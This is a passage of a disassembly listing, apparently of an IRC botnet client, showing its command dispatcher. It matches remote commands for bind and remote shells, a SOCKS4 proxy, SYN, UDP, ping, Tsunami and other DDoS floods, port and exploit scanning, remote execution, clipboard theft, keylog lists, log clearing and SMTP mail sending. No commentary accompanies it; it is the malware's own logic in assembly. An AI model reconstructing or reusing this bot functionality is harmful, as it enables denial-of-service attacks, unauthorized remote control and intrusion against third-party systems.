[ebp+var_94], al jmp short loc_403DD8 ; --------------------------------------------------------------------------- loc_403DC4: ; CODE XREF: sub_403038+D75j call sub_417B10 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_403DD8: ; CODE XREF: sub_403038+D8Aj lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_414BE0 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_417070 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_417770 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_411AB7 push edi push [ebp+arg_0] call sub_417B50 add esp, 30h jmp loc_403D38 ; --------------------------------------------------------------------------- loc_403E39: ; CODE XREF: sub_403038+D02j mov edi, 1FFh lea eax, [ebp+var_F84] push edi push [ebp+arg_0] push eax call sub_417770 lea eax, [ebp+var_F84] push edi push eax lea eax, [ebp+var_1184] push eax call sub_417770 lea eax, [ebp+var_1184] push offset asc_437C20 ; " " push eax call sub_417620 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_403E89: ; CODE XREF: sub_403038+E66j push offset asc_437C24 ; " " push ebx call sub_417620 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_403E89 mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_4034D4 add ecx, 3 mov [eax], ecx loc_403EBB: ; CODE XREF: sub_403038+C88j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_20], edi call sub_417870 pop ecx test eax, eax pop ecx jz loc_408542 push edi push offset aRn ; "rn" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408542 push edi push offset aDie ; "die" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4072FE push edi push offset aD_1 ; "d" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4072FE push edi push offset aLogout ; "logout" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407234 push edi push offset aLo ; "lo" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407234 push edi push offset aVersion ; "version" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407216 push edi push offset aVer ; "ver" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407216 push edi push offset aDedication ; "dedication" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40720C push edi push offset aDed ; "ded" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40720C push edi push offset aSpeedtest ; "speedtest" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4071F6 push edi push offset aSt ; "st" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4071F6 push edi push offset aBindshell ; "bindshell" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4070F0 push edi push offset aBd ; "bd" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4070F0 push edi push offset aBindshellstop ; "bindshellstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404014 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_437E94 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_404014: ; CODE XREF: sub_403038+FC2j push edi push offset aSocks4 ; "socks4" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406FCE push edi push offset aS4 ; "s4" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406FCE push edi push offset aSocks4stop ; "socks4stop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404067 push [ebp+esi+var_8C] push 19h push offset aServer_1 ; "Server" push offset dword_437F2C jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_404067: ; CODE XREF: sub_403038+1015j push edi push offset aRloginstop ; "rloginstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404090 push [ebp+esi+var_8C] push 9 push offset aServer_2 ; "Server" push offset dword_437F50 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_404090: ; CODE XREF: sub_403038+103Ej push edi push offset aHttpstop ; "httpstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4040B9 push [ebp+esi+var_8C] push 3 push offset aServer_3 ; "Server" push offset dword_437F74 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4040B9: ; CODE XREF: sub_403038+1067j push edi push offset aLogstop ; "logstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4040E2 push [ebp+esi+var_8C] push 25h push offset aLogList ; "Log list" push offset dword_437F98 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4040E2: ; CODE XREF: sub_403038+1090j push edi push offset aRedirectstop ; "redirectstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40410B push [ebp+esi+var_8C] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_437FC4 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_40410B: ; CODE XREF: sub_403038+10B9j push edi push offset dword_437FD4 call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404134 push [ebp+esi+var_8C] push 0Dh push offset dword_437FE0 push offset dword_437FEC jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_404134: ; CODE XREF: sub_403038+10E2j push edi push offset aSynstop ; "synstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40415D push [ebp+esi+var_8C] push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_43800C jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_40415D: ; CODE XREF: sub_403038+110Bj push edi push offset aSkysynstop ; "skysynstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404186 push [ebp+esi+var_8C] push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_438034 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_404186: ; CODE XREF: sub_403038+1134j push edi push offset aTarga3stop ; "targa3stop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4041AF push [ebp+esi+var_8C] push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_438060 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4041AF: ; CODE XREF: sub_403038+115Dj push edi push offset aWonkstop ; "wonkstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4041D8 push [ebp+esi+var_8C] push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_438088 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4041D8: ; CODE XREF: sub_403038+1186j push edi push offset aPacketstop ; "packetstop" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_40432E mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_4380AC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 push esi push 0Eh push offset dword_4380B8 push offset dword_4380C4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 add esp, 40h push esi push 17h push offset dword_4380D0 push offset dword_4380DC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 push esi push 16h push offset dword_4380E8 push offset dword_4380F4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 add esp, 40h push esi push 11h push offset dword_438100 push offset dword_438110 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 push esi push 12h push offset dword_438120 push offset dword_43812C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 add esp, 40h push esi push 0Fh push offset dword_438138 push offset dword_438148 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 push esi push 13h push offset dword_438158 push offset dword_438168 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 add esp, 40h push esi push 10h push offset dword_438178 push offset dword_438188 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_4090E1 push ebx push [ebp+var_4] push offset unk_438198 push [ebp+var_88] push edi call sub_401445 add esp, 34h jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_40432E: ; CODE XREF: sub_403038+11AFj push edi push offset aTsunamistop ; "tsunamistop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404357 push [ebp+esi+var_8C] push 0Fh push offset aTsunamiFlood ; "Tsunami flood" push offset dword_4381E8 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_404357: ; CODE XREF: sub_403038+1305j push edi push offset aWisdomstop ; "wisdomstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404380 push [ebp+esi+var_8C] push 13h push offset aWisdomAttack ; "Wisdom attack" push offset dword_438214 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_404380: ; CODE XREF: sub_403038+132Ej push edi push offset aUdpstop ; "udpstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4043A9 push [ebp+esi+var_8C] push 17h push offset aUdpFlood ; "UDP flood" push offset dword_438238 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4043A9: ; CODE XREF: sub_403038+1357j push edi push offset aPingstop ; "pingstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4043D2 push [ebp+esi+var_8C] push 16h push offset aPingFlood ; "Ping flood" push offset dword_43825C jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4043D2: ; CODE XREF: sub_403038+1380j push edi push offset aTftpstop ; "tftpstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4043FB push [ebp+esi+var_8C] push 5 push offset aServer_4 ; "Server" push offset dword_43827C jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4043FB: ; CODE XREF: sub_403038+13A9j push edi push offset aFindfilestop ; "findfilestop" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F9F push edi push offset aFfstop ; "ffstop" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F9F push edi push offset aProcsstop ; "procsstop" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F8A push edi push offset aPsstop ; "psstop" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F8A push edi push offset aClonestop ; "clonestop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404478 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_438308 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_404478: ; CODE XREF: sub_403038+1426j push edi push offset aSecurestop ; "securestop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4044A1 push [ebp+esi+var_8C] push 22h push offset aSecure ; "Secure" push offset dword_43832C jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4044A1: ; CODE XREF: sub_403038+144Fj push edi push offset aScanstop ; "scanstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4044CA push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_438350 jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_4044CA: ; CODE XREF: sub_403038+1478j push edi push offset aScanstats ; "scanstats" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F74 push edi push offset aStats ; "stats" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F74 push edi push offset aTransferstats ; "transferstats" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F5E push edi push offset aTrstats ; "trstats" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F5E push edi push offset aExploitlist ; "exploitlist" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F48 push edi push offset aExplist ; "explist" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F48 push edi push offset aReconnectt ; "reconnectt" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F29 push edi push offset aR ; "r" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F29 push edi push offset aDisconnectt ; "disconnectt" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F07 push edi push offset aDc ; "dc" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406F07 push edi push offset aQuit_0 ; "quit" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406EBF push edi push offset aQ ; "q" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406EBF push edi push offset aStatus ; "status" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406E81 push edi push offset aS_1 ; "s" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406E81 push edi push offset aId ; "id" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406E4A push edi push offset aI ; "i" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406E4A push edi push offset aReboot ; "reboot" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40466C call sub_411F81 test eax, eax mov eax, offset unk_4384AC jnz short loc_40463E mov eax, offset unk_4384CC loc_40463E: ; CODE XREF: sub_403038+15FFj push eax lea eax, [ebp+var_2E4] push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 1Ch jmp loc_403953 ; --------------------------------------------------------------------------- loc_40466C: ; CODE XREF: sub_403038+15F1j push edi push offset aThreads ; "threads" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406D5C push edi push offset aT ; "t" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406D5C push edi push offset aAliases ; "aliases" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406D3C push edi push offset aAl ; "al" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406D3C push edi push offset dword_438584 call sub_417870 pop ecx test eax, eax pop ecx jz loc_406C4C push edi push offset dword_438588 call sub_417870 pop ecx test eax, eax pop ecx jz loc_406C4C push edi push offset aClearlog ; "clearlog" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406C30 push edi push offset aClg ; "clg" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406C30 push edi push offset aNetinfo ; "netinfo" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406BF9 push edi push offset aNi ; "ni" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406BF9 push edi push offset aSysinfo ; "sysinfo" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406BCE push edi push offset aSi ; "si" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406BCE push edi push offset aBaybayman ; "baybayman" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406B94 push edi push offset aBamann ; "bamann" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406B94 push edi push offset aProcs ; "procs" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406A74 push edi push offset aPs ; "ps" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406A74 push edi push offset aUptime ; "uptime" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4069F0 push edi push offset aUp ; "up" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4069F0 push edi push offset aDriveinfo ; "driveinfo" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4069D3 push edi push offset aDrv ; "drv" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4069D3 push edi push offset aTestdlls ; "testdlls" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4069BA push edi push offset aDll ; "dll" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4069BA push edi push offset aOpencmd ; "opencmd" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40697B push edi push offset aOcmd ; "ocmd" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40697B push edi push offset aCmdstop ; "cmdstop" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40488D push [ebp+esi+var_8C] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_4387DC jmp loc_406FB2 ; --------------------------------------------------------------------------- loc_40488D: ; CODE XREF: sub_403038+183Bj push edi push offset dword_4387E8 call sub_417870 pop ecx test eax, eax pop ecx jnz loc_404E42 cmp [ebp+var_8], ebx jnz short loc_4048C1 push ebx push [ebp+var_4] push offset dword_4387EC push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_4048C1: ; CODE XREF: sub_403038+186Dj mov eax, [ebp+arg_18] mov [ebp+arg_0], ebx mov [ebp+arg_18], eax jmp short loc_4048CF ; --------------------------------------------------------------------------- loc_4048CC: ; CODE XREF: sub_403038+18E3j mov eax, [ebp+arg_18] loc_4048CF: ; CODE XREF: sub_403038+1892j cmp [eax], bl jz short loc_4048D6 inc eax jmp short loc_4048DB ; --------------------------------------------------------------------------- loc_4048D6: ; CODE XREF: sub_403038+1899j mov eax, offset dword_438800 loc_4048DB: ; CODE XREF: sub_403038+189Cj push eax lea eax, [ebp+var_2E4] push [ebp+arg_0] push offset dword_438808 push eax call sub_4171D0 push 1 lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_0] cmp [ebp+arg_0], 3 jl short loc_4048CC push offset unk_438810 call sub_410557 pop ecx loc_404928: ; CODE XREF: sub_403038+28EFj ; sub_403038+42DAj mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_4034D4 push edi push offset aKilllog ; "killlog" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40851F push edi push offset aKl ; "kl" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40851F push edi push offset aAddalias ; "addalias" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4084D9 push edi push offset aAa ; "aa" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4084D9 push edi push offset aPrivmsg_2 ; "privmsg" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408478 push edi push offset aPm ; "pm" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408478 push edi push offset aAction ; "action" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4083FF push edi push offset aA ; "a" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4083FF push edi push offset aCycle ; "cycle" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408396 push edi push offset aCy ; "cy" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408396 push edi push offset aMode ; "mode" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408351 push edi push offset aM ; "m" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408351 push edi push offset aC_raw ; "c_raw" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4082DF push edi push offset aC_r ; "c_r" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4082DF push edi push offset aC_mode ; "c_mode" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408256 push edi push offset aC_m ; "c_m" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408256 push edi push offset aC_nick ; "c_nick" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4081DE push edi push offset aC_n ; "c_n" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4081DE push edi push offset aC_join ; "c_join" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40818B push edi push offset aC_j ; "c_j" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40818B push edi push offset aC_part ; "c_part" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408121 push edi push offset aC_p ; "c_p" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408121 push edi push offset aUpdateroooom ; "updateroooom" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407F9F push edi push offset aUproo ; "uproo" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407F9F push edi push offset aExecute ; "execute" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407F06 push edi push offset aE ; "e" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407F06 push edi push offset aMydear ; "mydear" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407D8C push edi push offset aMydear_0 ; "mydear" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407D8C push edi push offset aRedirect ; "redirect" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407C88 push edi push offset aRd ; "rd" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407C88 push edi push offset aScan ; "scan" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407B8B push edi push offset aSc ; "sc" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407B8B push edi push offset aC_privmsg ; "c_privmsg" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407AA3 push edi push offset aC_pm ; "c_pm" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407AA3 push edi push offset aC_action ; "c_action" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40797B push edi push offset aC_a ; "c_a" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40797B mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_4034D4 push edi push offset aPortscan ; "portscan" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40786B push edi push offset aPsc ; "psc" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40786B push edi push offset aAdvscan ; "advscan" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407382 push edi push offset aAsc ; "asc" call sub_417870 pop ecx test eax, eax pop ecx jz loc_407382 push edi push offset aEmail ; "email" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_407324 push [ebp+esi+var_8C] lea eax, [ebp+var_4E4] push eax call sub_4184C0 push [ebp+arg_0] call sub_4174D0 push [ebp+esi+var_84] mov [ebp+arg_0], eax lea eax, [ebp+var_D84] push eax call sub_4184C0 push [ebp+arg_10] lea eax, [ebp+var_B7C] push eax call sub_4184C0 push offset asc_439DFC ; " " push offset a_ ; "_" push [ebp+esi+var_7C] call sub_411AB7 push eax lea eax, [ebp+var_3E4] push eax call sub_4184C0 add esp, 30h lea eax, [ebp+var_6DC] push eax push 101h call dword_4452B8 lea eax, [ebp+var_4E4] push eax call dword_4453CC push 6 push 1 push 2 mov edi, eax call dword_4453C8 push [ebp+arg_0] mov esi, eax mov [ebp+var_D8], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_D4], eax call dword_445348 mov [ebp+var_D6], ax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_B7C] push eax lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_1584] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4171D0 add esp, 1Ch lea eax, [ebp+var_D8] push 10h push eax push esi call dword_4452F0 mov edi, 100h push ebx lea eax, [ebp+var_C80] push edi push eax push esi call dword_445360 lea eax, [ebp+var_C80] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_1584] push eax push esi call dword_445398 push ebx lea eax, [ebp+var_C80] push edi push eax push esi call dword_445360 push esi call dword_4453E0 call dword_4452A0 lea eax, [ebp+var_B7C] push eax push offset unk_439E50 loc_404E00: ; CODE XREF: sub_403038+4F62j ; sub_403038+50DAj lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 0Ch loc_404E0F: ; CODE XREF: sub_403038+2AC0j ; sub_403038+2DDEj ... cmp [ebp+var_8], ebx jnz short loc_404E30 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_404E30: ; CODE XREF: sub_403038+1DDAj ; sub_403038+297Cj ... lea eax, [ebp+var_2E4] push eax call sub_410557 pop ecx jmp loc_40858F ; --------------------------------------------------------------------------- loc_404E42: ; CODE XREF: sub_403038+1864j push edi push offset aGetclip ; "getclip" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40693A push edi push offset aGc ; "gc" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40693A push edi push offset aFlusharp ; "flusharp" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40690F push edi push offset aFarp ; "farp" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40690F push edi push offset aFlushdns ; "flushdns" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4068EB push edi push offset aFdns ; "fdns" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4068EB push edi push offset aCurrentip ; "currentip" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4068AE push edi push offset aCip ; "cip" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4068AE push edi push offset aRloginserver ; "rloginserver" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406776 push edi push offset aRlogin ; "rlogin" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406776 push edi push offset aHttpserver ; "httpserver" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406600 push edi push offset aHttp ; "http" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406600 push edi push offset aTftpserver ; "tftpserver" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4064C9 push edi push offset aTftp ; "tftp" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4064C9 push edi push offset aCrash ; "crash" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_404FCE lea eax, [ebp+var_2E4] push offset dword_438B40 push eax call sub_4171D0 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_404FAD push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_404FAD: ; CODE XREF: sub_403038+1F57j lea eax, [ebp+var_2E4] push eax call sub_410557 mov [esp+10h+var_10], offset aCrash_0 ; "crash" push [ebp+esi+var_7C] call sub_417870 jmp loc_40871B ; --------------------------------------------------------------------------- loc_404FCE: ; CODE XREF: sub_403038+1F3Fj push edi push offset aScanall ; "scanall" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4061C8 push edi push offset aSa ; "sa" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4061C8 push edi push offset aPhonehome ; "phonehome" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_405025 lea eax, [ebp+var_C0] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_4013FF loc_40501D: ; CODE XREF: sub_403038+46Fj add esp, 0Ch jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_405025: ; CODE XREF: sub_403038+1FCFj push edi push offset aExploit ; "exploit" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_40515B mov eax, [ebp+var_4] mov edi, 80h mov [ebp+var_3F0], eax mov eax, [ebp+var_8] mov [ebp+var_3EC], eax mov eax, [ebp+arg_4] mov [ebp+var_400], eax push offset aRpmxp_0 ; "#RpmXp" lea eax, [ebp+var_480] push edi push eax mov [ebp+var_3F8], 1 call sub_4172D0 push offset aRpmxp_0 ; "#RpmXp" lea eax, [ebp+var_500] push edi push eax call sub_4172D0 push [ebp+esi+var_8C] lea eax, [ebp+var_510] push 10h push eax call sub_4172D0 lea eax, [ebp+var_510] push eax lea eax, [ebp+var_2E4] push offset unk_438CDC push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 8 push eax call sub_408E53 add esp, 3Ch mov [ebp+var_3F4], eax lea eax, [ebp+arg_24] push eax lea eax, [ebp+var_510] push ebx push eax push offset word_4095A6 push ebx push ebx call near ptr 26A08FFh nop mov ecx, [ebp+var_3F4] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_40510E loc_4050FC: ; CODE XREF: sub_403038+20D4j cmp [ebp+var_3E8], ebx jnz short loc_405129 push 32h nop call near ptr 2690599h jmp short loc_4050FC ; --------------------------------------------------------------------------- loc_40510E: ; CODE XREF: sub_403038+20C2j nop call near ptr 26908EFh push eax push offset unk_438D0C loc_40511A: ; CODE XREF: sub_403038+2FBDj ; sub_403038+43D6j ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 0Ch loc_405129: ; CODE XREF: sub_403038+20CAj ; sub_403038+464Fj ... cmp [ebp+var_8], ebx jnz short loc_40514A push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_405142: ; CODE XREF: sub_403038+4EC9j call sub_401445 add esp, 14h loc_40514A: ; CODE XREF: sub_403038+20F4j ; sub_403038+2CDEj ... lea eax, [ebp+var_2E4] push eax call sub_410557 jmp loc_40871C ; --------------------------------------------------------------------------- loc_40515B: ; CODE XREF: sub_403038+1FFCj push edi push offset aReconnect_in ; "reconnect.in" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406185 push edi push offset aRin ; "rin" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406185 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40613C push edi push offset aRinms ; "rinms" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40613C push edi push offset aNick_0 ; "nick" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40611C push edi push offset aN ; "n" call sub_417870 pop ecx test eax, eax pop ecx jz loc_40611C push edi push offset aJoin ; "join" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4060F5 push edi push offset aJ ; "j" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4060F5 push edi push offset aPart_1 ; "part" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4060D5 push edi push offset aPt ; "pt" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4060D5 push edi push offset aRaw ; "raw" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406098 push edi push offset aR_1 ; "r" call sub_417870 pop ecx test eax, eax pop ecx jz loc_406098 push edi push offset aKillthread ; "killthread" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405FCF push edi push offset aK ; "k" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405FCF push edi push offset aC_quit ; "c_quit" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405F1D push edi push offset aC_q ; "c_q" call sub_417870 pop ecx test eax, eax pop ecx jz loc_405F1D push edi push offset aC_rndnick ; 